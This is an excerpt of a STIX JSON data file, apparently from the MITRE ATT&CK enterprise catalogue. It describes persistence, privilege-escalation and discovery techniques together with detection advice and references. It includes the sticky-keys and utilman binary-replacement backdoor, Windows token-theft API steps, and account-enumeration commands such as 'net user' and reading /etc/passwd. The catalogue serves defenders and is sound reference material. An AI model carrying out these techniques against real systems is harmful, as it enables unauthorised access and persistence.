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            "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": ".bash_profile and .bashrc",
            "description": "<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell  (Citation: amnesia malware).",
            "external_references": [
                {
                    "external_id": "T1156",
                    "url": "https://attack.mitre.org/techniques/T1156",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
                    "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
                    "source_name": "amnesia malware"
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            "x_mitre_data_sources": [
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                "Process Monitoring",
                "Process command-line parameters",
                "Process use of network"
            ],
            "x_mitre_detection": "While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
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            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Access Token Manipulation",
            "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n**Create Process with a Token** - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)",
            "external_references": [
                {
                    "external_id": "T1134",
                    "url": "https://attack.mitre.org/techniques/T1134",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx",
                    "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.",
                    "source_name": "Microsoft runas"
                },
                {
                    "url": "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/",
                    "description": "Offensive Security. (n.d.). What is Incognito. Retrieved April 21, 2017.",
                    "source_name": "Metasploit access token"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "source_name": "Microsoft LogonUser"
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                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "source_name": "Microsoft DuplicateTokenEx"
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                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "source_name": "Microsoft ImpersonateLoggedOnUser"
                },
                {
                    "url": "https://pentestlab.blog/2017/04/03/token-manipulation/",
                    "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
                    "source_name": "Pentestlab Token Manipulation"
                },
                {
                    "url": "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/",
                    "description": "Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017.",
                    "source_name": "Cobalt Strike Access Token"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "source_name": "Microsoft Command-line Logging"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf",
                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
                    "source_name": "BlackHat Atkinson Winchester Token Manipulation"
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                "User",
                "Administrator"
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            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
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                {
                    "external_id": "T1015",
                    "url": "https://attack.mitre.org/techniques/T1015",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-558",
                    "url": "https://capec.mitre.org/data/definitions/558.html",
                    "source_name": "capec"
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                {
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "source_name": "Tilbury 2014"
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). THE \u201cHIKIT\u201d ROOTKIT: ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.",
                    "source_name": "FireEye Hikit Rootkit"
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                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "source_name": "DEFCON2016 Sticky Keys"
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            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process monitoring"
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            "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.",
            "x_mitre_effective_permissions": [
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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            "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n### Windows\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands.",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1087",
                    "source_name": "mitre-attack"
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                {
                    "external_id": "CAPEC-575",
                    "url": "https://capec.mitre.org/data/definitions/575.html",
                    "source_name": "capec"
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                "Process monitoring",
                "Process command-line parameters"
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            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
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            "type": "attack-pattern",
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                    "kill_chain_name": "mitre-attack"
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            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:06.988Z",
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Account Manipulation",
            "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.",
            "external_references": [
                {
                    "external_id": "T1098",
                    "url": "https://attack.mitre.org/techniques/T1098",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4738",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
                    "source_name": "Microsoft User Modified Event"
                },
                {
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "source_name": "InsiderThreat ChangeNTLM July 2017"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/issues/92",
                    "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
                    "source_name": "GitHub Mimikatz Issue 92 June 2017"
                }
            ],
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            "x_mitre_version": "1.0",
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                "Tim MalcomVetter"
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            "x_mitre_data_sources": [
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                "API monitoring",
                "Windows event logs",
                "Packet capture"
            ],
            "x_mitre_detection": "Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:12.196Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppCert DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Endgame Process Injection July 2017)\n\n* CreateProcess\n* CreateProcessAsUser\n* CreateProcessWithLoginW\n* CreateProcessWithTokenW\n* WinExec\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.",
            "external_references": [
                {
                    "external_id": "T1182",
                    "url": "https://attack.mitre.org/techniques/T1182",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
                    "source_name": "Sysinternals AppCertDlls Oct 2007"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Loaded DLLs",
                "Process Monitoring",
                "Windows Registry"
            ],
            "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppInit DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
            "external_references": [
                {
                    "external_id": "T1103",
                    "url": "https://attack.mitre.org/techniques/T1103",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://support.microsoft.com/en-us/kb/197571",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "source_name": "AppInit Registry"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "source_name": "AppInit Secure Boot"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Loaded DLLs",
                "Process monitoring",
                "Windows Registry"
            ],
            "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Secure boot disabled on systems running Windows 8 and later"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:15.409Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppleScript",
            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.",
            "external_references": [
                {
                    "external_id": "T1155",
                    "url": "https://attack.mitre.org/techniques/T1155",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "source_name": "Macro Malware Targets Macs"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "System calls",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": true,
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Deployment Software",
            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.",
            "external_references": [
                {
                    "external_id": "T1017",
                    "url": "https://attack.mitre.org/techniques/T1017",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-187",
                    "url": "https://capec.mitre.org/data/definitions/187.html",
                    "source_name": "capec"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process use of network",
                "Process monitoring"
            ],
            "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_system_requirements": [
                "Access to application deployment software (EPO, HPCA, Altiris, etc.)"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:27.755Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Shimming",
            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
            "external_references": [
                {
                    "external_id": "T1138",
                    "url": "https://attack.mitre.org/techniques/T1138",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "source_name": "Black Hat 2015 App Shim"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Loaded DLLs",
                "System calls",
                "Windows Registry",
                "Process Monitoring",
                "Process command-line parameters"
            ],
